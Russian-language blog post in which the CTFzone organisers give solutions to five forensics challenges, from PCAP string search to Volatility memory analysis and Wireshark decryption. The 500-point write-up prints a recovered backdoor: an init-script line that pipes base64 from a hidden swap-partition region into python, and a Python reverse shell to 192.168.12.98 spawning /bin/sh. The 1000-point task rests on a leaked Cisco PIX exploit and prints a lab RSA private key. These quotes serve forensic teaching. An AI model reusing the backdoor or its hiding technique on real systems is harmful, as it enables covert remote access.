CTFzone write-ups – First comes Forensics

4cbe22f87a914e519e22fcf96b1b3a01.jpg

Прошло несколько дней после окончания CTFzone от компании BI.ZONE, а наши смартфоны до сих пор разрываются от уведомлений Telegram — чат с участниками битвы после конференции стал еще более оживленным. По отзывам игроков, многие задания CTFzone были очень нестандартными и действительно непростыми. Во время соревнования мы пообещали участникам, что, как только наши разработчики отоспятся и придут в себя, мы выложим райтапы для всех заданий в нашем блоге.

Начнем мы с направления Forensics, и в этой статье представляем вам решения на все таски — от задания на 50 до 1000. Мы знаем, что hackzard опередил нас и уже выложил райтапы к заданиям на 50 и 100, но с более крутыми тасками будет сложнее;)

Forensics 50 — PCAP master


A.U. R.O.R. A.: Lieutenant, how do you read me? You«ve intercepted the traffic between the command server and the pilot«s computer. Try to get the password from this traffic.

a06211e0066240a48db2d50bc4f9b95c.png

Решение:

В этом задании участнику предоставлялся PCAP дамп трафика.

713a92c3528c46f2ba3a9f7c3bd66c4e.png

Как вы уже поняли, задание было очень простым, и его можно было решить в одну строку:

Команда:

strings -t x task_forensics_50.pcap | grep "pass"

Результат:
7e6 GET /?pass=ctfzone{b1@ckduck} HTTP/1.1

Ответ: ctfzone{b1@ckduck}

Forensics 100 — Master of Strings


A.U. R.O.R. A.: Rise and shine, Lieutenant, stop dreaming of drinking vodka and playing with the bear. A.U. R.O.R. A. is speaking and it«s time you stopped sleeping at your workplace. You can«t idle your time anymore as the whole world might go down the drain unless, well… Let’s say it«s time you are back in the game. The right man in the wrong place can change the world. So wake up, Lieutenant, find a password for the Spaceship panel and join the forces on Earth!

Участнику предоставляется образ оперативной памяти, который был снят в момент входа в контрольную панель управления космическим кораблем:

c90f2373ecde4557b799699d6c6f59d9.png

Решение:

В первую очередь необходимо было извлечь все строки, которые содержат «pass=».

Команда:

strings -t x task_forensics_100.ram | grep --color "pass="

Результат:
Скрытый текст
94e1fa0 trovich&pass=LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3D
1082e5c5   
127c5776             pass="specialize"/>
155c83e8 login=Petrovich&pass=LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3D
155c8828 login=Petrovich&pass=LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3D
194c7e58 strings -t x task_forensics_100.ram | grep --color ""

Результат:
12f8240 
9bff780 
16934d20 
1b8ff4bd 
1bc5c2c8 
1ed8f145 

Если обратиться по смещению »12f8240», то можно обнаружить html-страничку:
Скрытый текст

Spaceship Panel
  







Из содержимого страницы видно, что перед отправкой пароля осуществляется преобразование функцией Magic (beard, water), которая представляет собой операцию XOR на базе ключа «MagicKey», а далее идет преобразование в base64. Далее декодируем пароль «LhUBEwwlAAJZIhQmGwYYAAF5MA==»:
Скрытый текст




Задание содержало чит (спасибо hackzard), которым можно было воспользоваться с помощью утилиты «strings.exe» из sysinternals.

Ответ: ctfzone{YouAreSexy}

Forensics 300 — Unlock Your Mind Power


A.U. R.O.R. A.: Lieutenant, looks like you are locked in the room. You don«t want to stay here forever, do you? In order to open the door you should enter the code which was used to lock it. I«ll give you a clue — you see a terminal over there? There is a diary next to the terminal which belongs to astronaut Nyota. It says that the door is connected to the control console. After Varvara locked the door, service engineer tinkered with this terminal. Examine this terminal and find a memory dump which may help you to find the right code. Good luck, Lieutenant, see you on the other side!

Решение:

Участнику предоставляется образ оперативной памяти. Решение задачи предполагалось начать с помощью утилиты «Volatility Forensics», а именно получить список процессов:

./vol.py -f task_forensics_300/MEMORY.DMP --profile=Win7SP1x86 pslist

Результат:
Скрытый текст
Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit                          
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0x851c9020 System                    4      0     81      529 ------      0 2016-11-09 13:40:52 UTC+0000                                 
0x865a7ae0 smss.exe                240      4      2       29 ------      0 2016-11-09 13:40:52 UTC+0000                                 
0x86c474c8 csrss.exe               328    320      9      474      0      0 2016-11-09 13:41:00 UTC+0000                                 
0x86e1fd40 csrss.exe               368    360      9      226      1      0 2016-11-09 13:41:03 UTC+0000                                 
0x87029d40 wininit.exe             376    320      3       75      0      0 2016-11-09 13:41:03 UTC+0000                                 
0x8704d2b8 winlogon.exe            412    360      6      113      1      0 2016-11-09 13:41:03 UTC+0000                                 
0x870a8d40 services.exe            472    376      9      221      0      0 2016-11-09 13:41:04 UTC+0000                                 
0x87090030 lsass.exe               496    376      8      645      0      0 2016-11-09 13:41:07 UTC+0000                                 
0x87098d40 lsm.exe                 504    376     11      205      0      0 2016-11-09 13:41:07 UTC+0000                                 
0x87104d40 svchost.exe             600    472     12      360      0      0 2016-11-09 13:41:07 UTC+0000                                 
0x870cbb20 svchost.exe             668    472      7      271      0      0 2016-11-09 13:41:08 UTC+0000                                 
0x871076c8 svchost.exe             720    472     20      452      0      0 2016-11-09 13:41:08 UTC+0000                                 
0x871556c8 svchost.exe             824    472     19      442      0      0 2016-11-09 13:41:08 UTC+0000                                 
0x87163b18 svchost.exe             852    472     37     1034      0      0 2016-11-09 13:41:08 UTC+0000                                 
0x87173878 audiodg.exe             916    720      7      132      0      0 2016-11-09 13:41:09 UTC+0000                                 
0x871a66c8 svchost.exe            1004    472     15      526      0      0 2016-11-09 13:41:09 UTC+0000                                 
0x871c6030 svchost.exe            1112    472     23      519      0      0 2016-11-09 13:41:12 UTC+0000                                 
0x871e4d40 spoolsv.exe            1228    472     13      319      0      0 2016-11-09 13:41:13 UTC+0000                                 
0x87222d40 svchost.exe            1268    472     19      316      0      0 2016-11-09 13:41:13 UTC+0000                                 
0x87270278 vmicsvc.exe            1364    472      8      106      0      0 2016-11-09 13:41:13 UTC+0000                                 
0x87282558 vmicsvc.exe            1396    472      6      128      0      0 2016-11-09 13:41:13 UTC+0000                                 
0x8729b030 vmicsvc.exe            1424    472      4       66      0      0 2016-11-09 13:41:13 UTC+0000                                 
0x8729e4a0 vmicsvc.exe            1452    472      5       80      0      0 2016-11-09 13:41:13 UTC+0000                                 
0x87287648 vmicsvc.exe            1476    472      5       81      0      0 2016-11-09 13:41:13 UTC+0000                                 
0x872e68f0 taskhost.exe           1624    472      9      152      1      0 2016-11-09 13:41:14 UTC+0000                                 
0x87311030 vmtoolsd.exe           1740    472     10      283      0      0 2016-11-09 13:41:15 UTC+0000                                 
0x873176c8 dwm.exe                1816    824      6       71      1      0 2016-11-09 13:41:16 UTC+0000                                 


В списке процессов можно выделить «mstsc.exe» — RDP клиент ОС «Windows». Сделаем дамп памяти этого процесса (всей выделенной памяти, а не только исполняемого файла):

Команда:

./vol.py -f task_forensics_300/MEMORY.DMP --profile=Win7SP1x86 memdump -p 2800 -D /tmp/

Результат:
Writing mstsc.exe [  2800] to 2800.dmp

Теперь следовало бы поискать интересные строки в полученном дампе, но ничего интересного из строк извлечь не удастся, поэтому перейдем сразу к следующему шагу. Попробуем восстановить картинку из RDP сеанса. При поиске в google «rdp image from memory» можно найти блог extracting raw pictures from memory, в котором описывается восстановление картинки из процесса mstsc.exe c помощью GIMP. Идея проста — mstsc.exe хранит в своей памяти картинку (в RAW формате) с удаленного компьютера. С помощью режима предпросмотра GIMP эту картинку можно увидеть, но для этого нужно правильно подобрать разрешение картинки, иначе она будет выглядеть как шум. На самом деле разрешение картинки должно совпадать с разрешением монитора, а для того, чтобы отличить картинку от шума, достаточно выставить ширину таким образом, чтобы она являлась делителем истинной ширины картинки, а высоту выбрать любой. Мы пробовали сначала использовать разрешение 640 пикселей и нашли картинку:
Скрытый текст
df5a37d944df4b72baf087cedab956c5.png

Очевидно, что в этой секции данных файла находится картинка, но разрешение подобрано неверно. Попробуем 1280:
Скрытый текст
c583ee685d0848f5b47ad2a4ca518647.png

Еще лучший эффект достигается при небольшой подстройке:

acea556ab2d44b569488ee024d4972d9.png

Вот и флаг!

Ответ: ctfzone{7H3_p0w3r_0F_1mAG1Na710N}

Forensics 500 — Infected System


A.U. R.O.R. A.: Lieutenant, system is infected, system is infected, system may be compromised! Lieutenant, what«s happ…

Решение:

Очень многие путают понятия «раздел» и «файловая система». Задание на 500 очков как раз про такой случай. В образе имеется таблица разделов DOS с двумя логическими разделами — Linux, содержащий файловую систему Ext4, и Linux Swap, содержащий область подкачки. Если примонтировать файловую систему Ext4, то в ней легко заметить файлы операционной системы Ubuntu 16.04.1 LTS. Собственно, на этом простая часть заканчивается и начинается сложная.

Что произошло с системой — неизвестно, какие-либо обстоятельства произошедшего покрыты тайной. В результате поиска можно найти файл /etc/init.d/apache2, в котором есть довольно подозрительная строка:

/usr/sbin/mkinitrd read | base64 -d | python &

Если внимательно прочитать текст скрипта, эта строка выполняется всегда при старте сервиса apache2. В файле /usr/sbin/mkinitrd легко найти код, отвечающий за чтение данных с устройства /dev/sda5 (а это раздел Linux Swap) по смещению 966795264:
Скрытый текст
#!/bin/sh

[ $# -eq 1 ] || exit 1

check_dep()
{
	cmd="$1"
	command -v "$cmd" > /dev/null 2> /dev/null
}

check_dd() # we don't want to use old versions of dd
{
	dd if=/dev/zero of=/dev/null skip=1 count=1 iflag=skip_bytes 2> /dev/null
	ec=$?
	[ $ec -eq 0 ]
}

check_dep dd && check_dd || exit 3

device="/dev/sda5"
offset="966795264"
operation="$1"

if   [ "$operation" = 'write' ]; then
	dd of="$device" seek="$offset" oflag=seek_bytes 2> /dev/null
elif [ "$operation" = 'read' ]; then
	dd if="$device" skip="$offset" iflag=skip_bytes 2> /dev/null
else
	exit 2
fi


Если прочитать по указанному смещению данные с устройства /dev/sda5, а затем декодировать их из Base64, то перед глазами предстанет скрипт, написанный на Python, который предоставляет backconnect-шелл узлу 192.168.12.98 (порт 31338):
Скрытый текст
#!/usr/bin/env python

import socket, subprocess, os

HOST_PORT = ('192.168.12.98', 31338)
FLAG = 'ctfzone{pwn3d-by-ns4_31337}'

while True:
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     while True:
         try:
             errno = s.connect_ex(HOST_PORT)
         except Exception:
             continue

         if errno == 0:
             break

     b_size = len(FLAG)
     b = bytearray(b_size)

     s.recv_into(b, b_size)
     if str(b) == FLAG:
         os.dup2(s.fileno(), 0)
         os.dup2(s.fileno(), 1)
         os.dup2(s.fileno(), 2)

         p = subprocess.call(['/bin/sh', '-i'])

     s.close()

Перед предоставлением шелла скрипт проверяет полученный от сервера пароль, который и является флагом. Как же обеспечивается работа этого скрипта, если он размещен в разделе с областью подкачки? Размер самого раздела — 1071644672 байта, а раздел области подкачки в этом разделе — 236031 страница, каждая страница имеет размер 4096 байт, итого 966782976 байт. В результате мы имеем 104861696 байт (около 100 мегабайт) между концом области подкачки и концом раздела, в котором эта область хранится, которые ничем, кроме бекдора, не используются. Соответственно, в этой области можно хранить данные, которые не будут затерты менеджером памяти в процессе подкачки.

Ответ: ctfzone{pwn3d-by-ns4_31337}

Forensics 1000 — Have I been pwned?


Captain Picard: Lieutenant, be careful, Big Brother is watching you…

Решение:

Участнику предоставляется PCAP дамп траффика. Задания на 1000 готовились с особым трепетом, так как нам хотелось подготовить что-нибудь интересное и актуальное. Для направления Forensics было решено подготовить задание с учетом недавней утечки эксплоита BENIGNCERTAIN под CISCO PIX. В ходе эксплуатации BENIGNCERTAIN удается получить огромную часть конфигурации CISCO PIX, которая включает приватные ключи, позволяющие расшифровать трафик.

Для начала необходимо найти пакеты протокола ISAKMP:

407bc6b0128146d384e68b4b70e0d0be.png

Пакет от 10.1.3.52, представляет собой payload, который был сгенерировал с помощью «bc-genpkt»:

d05994fe91214f4e86c12caeb6a0871e.png

А вот пакет от узла »10.1.2.12» представляет собой часть конфигурации, которую отдает PIX в результате эксплуатации уязвимости:

90e703737eaa49cb86291e98cd5583e0.png

Очевидно, что нас интересует пакет, который идет от CISCO PIX, т.к. он содержит «Private Key». Сохраняем ISAKMP пакет, который идет от 10.1.2.12 в формате «raw», и передаем его в качестве аргумента утилите «bc-parser», которая идет в комплекте с EquationGroupLeak.

Команда:

./bc-parser packet.raw

Результат:
bc-parser
BENIGNCERTAIN parser v1.0

Parsing file packet

Possible PIX version (s):

Cisco PIX 6.3(4)

*** Couldn’t determine interface used by BENIGNCERTAIN ***

=======================================================================

Stack separator structure at offset 0×0254, size 0×98 bytes:

=======================================================================

ISAKMP enable structure at offset 0×02ec, size 0×218 bytes:

*** ISAKMP enabled on 1 interface ***

=======================================================================

Unknown structure at offset 0×0504, size 0×30 bytes:

=======================================================================

ISAKMP policy structure at offset 0×0534, size 0×38 bytes (1 of at least 1 policies):

Priority: 0×000a [10]
Cipher: 0×0007 [AES]
AES keysize: 0×0100 [256-bits]
Auth: 0×0003 [RSA signature]
Hash: 0×0002 [SHA]
Group: 0×0002 [1024-bit]
Lifetime: 0×00015180 [86400 seconds]

=======================================================================

VPN group structure at offset 0×056c, size 0×600 bytes (1 of 1 groups):

Group name: 12345
Pool name: vpnpool1
Domain name: spaceship.ctf
Password: 12345
Primary DNS: 192.168.7.1
Primary WINS: 192.168.7.1
Idle-time: 0×00000708 [1800 seconds]

=======================================================================

Unknown structure at offset 0×0b6c, size 0×28 bytes:

String: listen/ssh_0

=======================================================================

Per-thread stack structure at offset 0×0b94, size 0×818 bytes:

*** Target allows SSH access (on port 22) ***
*** on the outside interface ***

*** Couldn’t determine the interface used by BC ***

=======================================================================

Stack separator structure at offset 0×13ac, size 0×98 bytes:

=======================================================================

IP/netmask structure at offset 0×1444, size 0×30 bytes:

IP Address: 10.0.0.0
Netmask: 255.0.0.0

IP/netmask probably associated with preceding thread

=======================================================================

Unknown structure at offset 0×1474, size 0×30 bytes:

=======================================================================

Unknown structure at offset 0×14a4, size 0×40 bytes:

=======================================================================

Hostname structure at offset 0×14e4, size 0×30 bytes:

Possible hostname: privateVPN.spaceship.ctf

=======================================================================

RSA private key structure at offset 0×1514, size 0×4d8 bytes:

*** Found probable RSA private key ***

To validate the RSA key using 'openssl':

openssl rsa -inform DER -text -noout -check \
-in packet.rsa_priv_1.der

=======================================================================

RSA public key structure at offset 0×19ec, size 0×140 bytes:

*** Found probable RSA public key ***

To validate the RSA key using 'openssl':

openssl rsa -inform DER -text -noout -pubin \
-in packet.rsa_pub_1.der

=======================================================================

*** Partial structure at offset 0×1b2c (0×86c of 0×2018 bytes):

[Not parsed]

=======================================================================

<<<<>>>>


Смотрим содержимое DER:

Команда:

openssl rsa -inform DER -text -in packet.rsa_priv_1.der

Результат:
Скрытый текст
Private-Key: (2048 bit)
modulus:
    00:cc:33:bf:61:d5:c3:06:cd:4f:49:25:39:81:d1:
    39:31:be:38:87:27:b6:98:a8:64:cd:af:3c:0f:7a:
    25:dd:da:36:f3:f4:13:44:dc:13:10:5d:61:83:d9:
    74:00:78:18:54:04:a2:57:f5:22:8b:3d:a5:20:c2:
    06:c4:76:f7:25:b2:3a:cc:ef:61:98:87:b7:40:d5:
    0f:ce:1e:b5:16:b2:af:62:80:0b:04:fc:f0:f8:e1:
    23:fa:ed:30:2a:4d:8c:59:11:bf:0a:08:f5:ae:58:
    2e:93:8e:03:cd:c3:05:e6:7d:18:29:1f:4a:4c:6b:
    e6:3d:71:21:ba:a5:bb:6f:80:fd:58:6b:54:13:89:
    d3:ea:82:45:eb:7a:94:c6:db:44:3a:b7:be:8e:09:
    0a:65:7b:37:06:95:5e:fa:82:d4:17:dd:63:37:e3:
    b4:68:ca:f9:fc:26:46:26:5c:1f:32:73:50:9b:1a:
    ab:a3:42:32:8b:8f:66:b8:9b:b8:62:95:7b:03:9e:
    33:b9:5e:42:df:b8:d6:a5:b7:2a:ec:1b:78:d0:51:
    47:8c:df:d0:48:a7:28:bc:99:53:15:03:43:46:83:
    fb:8b:b8:19:73:e9:b0:35:49:ce:e4:a0:c4:74:17:
    c9:19:b0:e7:68:41:27:a4:2a:99:9b:2b:6d:d9:ca:
    78:1d
publicExponent: 65537 (0x10001)
privateExponent:
    56:2b:13:fc:6d:de:b1:55:1b:ba:ea:f9:5c:5d:74:
    7c:18:1f:f4:70:7e:ad:e6:89:3a:fe:52:22:d9:d1:
    76:cf:a9:56:c2:4d:0b:46:ae:c8:be:0e:f3:3b:64:
    a6:fa:06:92:15:ae:87:dd:4a:69:65:66:f3:ee:cc:
    3a:45:55:3f:53:f9:5a:17:3d:a0:c6:cc:3e:90:69:
    ed:f9:a9:42:dd:be:02:9b:b3:8a:b4:4d:df:47:ea:
    0d:ed:de:e0:4a:ff:09:6a:e2:a9:92:64:51:e0:a6:
    2e:df:c3:9d:25:49:ad:1c:66:80:9b:d2:97:73:04:
    a2:32:c6:1f:e3:e5:b7:43:fe:54:74:00:58:6b:50:
    10:00:e2:6f:4b:88:d0:11:44:e8:fa:d4:ae:63:35:
    4f:df:26:fe:4a:40:5a:3e:b4:81:a3:cb:45:67:46:
    a7:46:b9:98:94:71:63:61:e1:61:e7:e0:c1:40:0c:
    78:d8:d7:5a:87:af:6f:f8:af:91:bb:dd:9c:51:ec:
    2f:a3:c4:fb:cc:76:39:88:03:d2:53:87:78:45:15:
    c4:c7:9f:93:6b:29:cb:40:c9:8f:97:ff:43:dc:8e:
    48:fa:36:22:06:78:bb:cd:83:e9:75:89:8a:50:ff:
    22:32:71:72:b1:d3:51:97:13:d0:a1:0e:f4:c6:58:
    e5
prime1:
    00:fb:1c:cf:52:34:81:ec:db:cc:7a:b1:62:70:15:
    e0:2d:de:35:21:60:12:29:da:5f:b4:25:21:33:0f:
    8a:14:33:f7:ee:03:59:9e:5c:d1:e5:5f:86:18:59:
    05:b4:67:29:49:a8:74:da:94:f1:ff:25:96:61:a8:
    18:67:c9:d7:01:f8:51:ba:12:f0:41:1a:03:44:21:
    e8:3d:2c:6b:9e:06:0b:9f:0d:b3:aa:24:72:7b:87:
    c8:86:94:bd:1e:36:c7:03:03:5b:81:df:81:ac:00:
    ea:18:d5:b7:f0:3a:ab:48:aa:81:a1:4f:b0:77:d1:
    01:c6:c9:f3:d9:1e:93:7c:0f
prime2:
    00:d0:2d:33:dc:0f:e4:5c:5e:0f:97:54:bc:6a:61:
    8e:43:64:da:64:25:4a:aa:0c:14:6b:f4:da:a1:62:
    2e:84:1b:1a:0e:73:9e:c6:59:4f:9d:87:2d:54:22:
    f8:86:c5:3d:f3:33:9f:b3:4b:bf:9f:d9:52:a2:e3:
    8a:ad:a7:0d:1b:6d:5e:ed:c5:dd:da:3b:12:d5:e5:
    62:1c:42:f9:7a:0e:a5:d6:51:db:31:a8:19:c8:85:
    05:7b:4e:1d:68:09:5c:9f:9d:74:1f:46:4f:33:6b:
    ec:1d:0a:aa:68:dd:2c:77:aa:8d:9d:44:5d:ca:cb:
    af:7a:e8:34:05:5a:3c:8d:13
exponent1:
    49:66:f9:7f:49:13:f5:7d:a6:7e:f2:dd:18:70:7c:
    90:4b:d4:f2:05:98:29:9d:c8:bd:ea:e0:92:81:67:
    56:52:7e:95:97:6b:19:ec:7d:fa:73:7a:ca:21:33:
    96:b1:55:13:4f:e7:a0:81:4b:5f:ce:c7:ef:91:e8:
    58:66:5a:b0:1b:bb:20:0e:2b:26:8c:89:09:e0:73:
    77:76:45:9a:f2:9f:71:05:db:4f:cf:c9:9b:2c:6c:
    c4:52:34:19:e1:df:38:95:41:a9:6c:01:06:9b:59:
    d2:9a:9e:62:dd:73:76:11:49:45:32:fb:1d:7a:fd:
    ee:f2:d7:91:ce:eb:43:a7
exponent2:
    00:a3:95:d1:b9:ac:b7:4b:2a:12:e0:5d:12:ce:19:
    a8:fc:26:85:42:ca:d7:18:36:f3:d9:3d:88:8b:e6:
    a6:1c:e3:5b:1f:5e:15:b7:51:b9:31:55:66:f6:45:
    a0:bb:ee:c4:d6:96:8b:79:0e:1e:1f:93:5b:cf:6a:
    34:b0:6e:a3:eb:18:8f:cf:12:7c:5a:1f:af:96:6b:
    71:24:3a:30:e6:8c:1a:1f:07:25:d2:a8:80:d2:44:
    4d:61:6e:a9:c6:f6:0c:55:d5:19:c9:f5:ab:09:02:
    56:81:1f:bf:77:35:cd:da:9f:28:37:1b:e1:04:19:
    f8:e4:01:11:d7:de:e7:d4:07
coefficient:
    1c:e6:21:67:a7:de:0e:64:c5:b1:4b:15:37:d2:d2:
    2b:ad:c0:2a:c9:c5:6d:61:13:75:99:a9:c2:5b:6e:
    b5:cc:ad:25:62:ad:d4:58:92:c4:6c:cd:94:7d:a9:
    d4:65:f3:48:91:7d:aa:d7:73:57:b8:0e:a0:68:e5:
    a5:4a:48:96:1e:25:90:ff:fb:94:88:8e:2d:4d:69:
    b5:55:7e:c1:d9:60:2d:e1:bc:a1:01:27:f6:82:e0:
    64:a9:6b:62:4b:95:1a:67:a9:78:28:be:dd:b5:b6:
    dd:9b:67:ae:13:0f:51:3a:77:c3:f5:d8:0a:22:44:
    68:ea:04:b1:85:79:ed:38
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAzDO/YdXDBs1PSSU5gdE5Mb44hye2mKhkza88D3ol3do28/QT
RNwTEF1hg9l0AHgYVASiV/Uiiz2lIMIGxHb3JbI6zO9hmIe3QNUPzh61FrKvYoAL
BPzw+OEj+u0wKk2MWRG/Cgj1rlguk44DzcMF5n0YKR9KTGvmPXEhuqW7b4D9WGtU
E4nT6oJF63qUxttEOre+jgkKZXs3BpVe+oLUF91jN+O0aMr5/CZGJlwfMnNQmxqr
o0Iyi49muJu4YpV7A54zuV5C37jWpbcq7Bt40FFHjN/QSKcovJlTFQNDRoP7i7gZ
c+mwNUnO5KDEdBfJGbDnaEEnpCqZmytt2cp4HQIDAQABAoIBAFYrE/xt3rFVG7rq
+VxddHwYH/Rwfq3miTr+UiLZ0XbPqVbCTQtGrsi+DvM7ZKb6BpIVrofdSmllZvPu
zDpFVT9T+VoXPaDGzD6Qae35qULdvgKbs4q0Td9H6g3t3uBK/wlq4qmSZFHgpi7f
w50lSa0cZoCb0pdzBKIyxh/j5bdD/lR0AFhrUBAA4m9LiNARROj61K5jNU/fJv5K
QFo+tIGjy0VnRqdGuZiUcWNh4WHn4MFADHjY11qHr2/4r5G73ZxR7C+jxPvMdjmI
A9JTh3hFFcTHn5NrKctAyY+X/0Pcjkj6NiIGeLvNg+l1iYpQ/yIycXKx01GXE9Ch
DvTGWOUCgYEA+xzPUjSB7NvMerFicBXgLd41IWASKdpftCUhMw+KFDP37gNZnlzR
5V+GGFkFtGcpSah02pTx/yWWYagYZ8nXAfhRuhLwQRoDRCHoPSxrngYLnw2zqiRy
e4fIhpS9HjbHAwNbgd+BrADqGNW38DqrSKqBoU+wd9EBxsnz2R6TfA8CgYEA0C0z
3A/kXF4Pl1S8amGOQ2TaZCVKqgwUa/TaoWIuhBsaDnOexllPnYctVCL4hsU98zOf
s0u/n9lSouOKracNG21e7cXd2jsS1eViHEL5eg6l1lHbMagZyIUFe04daAlcn510
H0ZPM2vsHQqqaN0sd6qNnURdysuveug0BVo8jRMCgYBJZvl/SRP1faZ+8t0YcHyQ
S9TyBZgpnci96uCSgWdWUn6Vl2sZ7H36c3rKITOWsVUTT+eggUtfzsfvkehYZlqw
G7sgDismjIkJ4HN3dkWa8p9xBdtPz8mbLGzEUjQZ4d84lUGpbAEGm1nSmp5i3XN2
EUlFMvsdev3u8teRzutDpwKBgQCjldG5rLdLKhLgXRLOGaj8JoVCytcYNvPZPYiL
5qYc41sfXhW3UbkxVWb2RaC77sTWlot5Dh4fk1vPajSwbqPrGI/PEnxaH6+Wa3Ek
OjDmjBofByXSqIDSRE1hbqnG9gxV1RnJ9asJAlaBH793Nc3anyg3G+EEGfjkARHX
3ufUBwKBgBzmIWen3g5kxbFLFTfS0iutwCrJxW1hE3WZqcJbbrXMrSVirdRYksRs
zZR9qdRl80iRfarXc1e4DqBo5aVKSJYeJZD/+5SIji1NabVVfsHZYC3hvKEBJ/aC
4GSpa2JLlRpnqXgovt21tt2bZ64TD1E6d8P12AoiRGjqBLGFee04
-----END RSA PRIVATE KEY-----


Нам нужен только ключ:
Скрытый текст
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAzDO/YdXDBs1PSSU5gdE5Mb44hye2mKhkza88D3ol3do28/QT
RNwTEF1hg9l0AHgYVASiV/Uiiz2lIMIGxHb3JbI6zO9hmIe3QNUPzh61FrKvYoAL
BPzw+OEj+u0wKk2MWRG/Cgj1rlguk44DzcMF5n0YKR9KTGvmPXEhuqW7b4D9WGtU
E4nT6oJF63qUxttEOre+jgkKZXs3BpVe+oLUF91jN+O0aMr5/CZGJlwfMnNQmxqr
o0Iyi49muJu4YpV7A54zuV5C37jWpbcq7Bt40FFHjN/QSKcovJlTFQNDRoP7i7gZ
c+mwNUnO5KDEdBfJGbDnaEEnpCqZmytt2cp4HQIDAQABAoIBAFYrE/xt3rFVG7rq
+VxddHwYH/Rwfq3miTr+UiLZ0XbPqVbCTQtGrsi+DvM7ZKb6BpIVrofdSmllZvPu
zDpFVT9T+VoXPaDGzD6Qae35qULdvgKbs4q0Td9H6g3t3uBK/wlq4qmSZFHgpi7f
w50lSa0cZoCb0pdzBKIyxh/j5bdD/lR0AFhrUBAA4m9LiNARROj61K5jNU/fJv5K
QFo+tIGjy0VnRqdGuZiUcWNh4WHn4MFADHjY11qHr2/4r5G73ZxR7C+jxPvMdjmI
A9JTh3hFFcTHn5NrKctAyY+X/0Pcjkj6NiIGeLvNg+l1iYpQ/yIycXKx01GXE9Ch
DvTGWOUCgYEA+xzPUjSB7NvMerFicBXgLd41IWASKdpftCUhMw+KFDP37gNZnlzR
5V+GGFkFtGcpSah02pTx/yWWYagYZ8nXAfhRuhLwQRoDRCHoPSxrngYLnw2zqiRy
e4fIhpS9HjbHAwNbgd+BrADqGNW38DqrSKqBoU+wd9EBxsnz2R6TfA8CgYEA0C0z
3A/kXF4Pl1S8amGOQ2TaZCVKqgwUa/TaoWIuhBsaDnOexllPnYctVCL4hsU98zOf
s0u/n9lSouOKracNG21e7cXd2jsS1eViHEL5eg6l1lHbMagZyIUFe04daAlcn510
H0ZPM2vsHQqqaN0sd6qNnURdysuveug0BVo8jRMCgYBJZvl/SRP1faZ+8t0YcHyQ
S9TyBZgpnci96uCSgWdWUn6Vl2sZ7H36c3rKITOWsVUTT+eggUtfzsfvkehYZlqw
G7sgDismjIkJ4HN3dkWa8p9xBdtPz8mbLGzEUjQZ4d84lUGpbAEGm1nSmp5i3XN2
EUlFMvsdev3u8teRzutDpwKBgQCjldG5rLdLKhLgXRLOGaj8JoVCytcYNvPZPYiL
5qYc41sfXhW3UbkxVWb2RaC77sTWlot5Dh4fk1vPajSwbqPrGI/PEnxaH6+Wa3Ek
OjDmjBofByXSqIDSRE1hbqnG9gxV1RnJ9asJAlaBH793Nc3anyg3G+EEGfjkARHX
3ufUBwKBgBzmIWen3g5kxbFLFTfS0iutwCrJxW1hE3WZqcJbbrXMrSVirdRYksRs
zZR9qdRl80iRfarXc1e4DqBo5aVKSJYeJZD/+5SIji1NabVVfsHZYC3hvKEBJ/aC
4GSpa2JLlRpnqXgovt21tt2bZ64TD1E6d8P12AoiRGjqBLGFee04
-----END RSA PRIVATE KEY-----

Подгружаем ключ в Wireshark и смотрим трафик после декрипта (Prefences → Protocols → SSL → RSA keys list → Edit →):
IP address: 10.1.2.15
Port:1337
Protocol: Data
Key File: 
Password: 

Далее анализируем содержимое TLS пакетов:

78a9ae113b0d4f9cad03280df80c91a8.png

Готово!

Ответ: ctfzone{ControlIsAnI11us10n}

Вот примерно таким образом можно было получить 1950 баллов за форензику. Если вам что-то непонятно — задавайте вопросы в комментариях или в телеграм, мы на связи днем и ночью!

Райтапы по остальным направлениям также скоро появятся в нашем блоге, так что следите за обновлениями. А пока можете применить новые знания по ссылке — там как раз много форензики ;)

Комментарии (1)

  • 24 ноября 2016 в 16:35

    0

    Написал в комментариях к посту, напишу и тут.
    Как вы уже поняли, задание было очень простым, и его можно было решить в одну строку:

    Команда:
    strings -t x task_forensics_50.pcap | grep «pass»


    Радует, что некоторые задания можно решить несколькими способами.
    Например, в Forensics 50 — PCAP master я просто открыл файл task_forensics_50.pcap текстовым редактором и вбил в поиск «pass»)

    P.S.: Спасибо за квест, жду ещё)

© Habrahabr.ru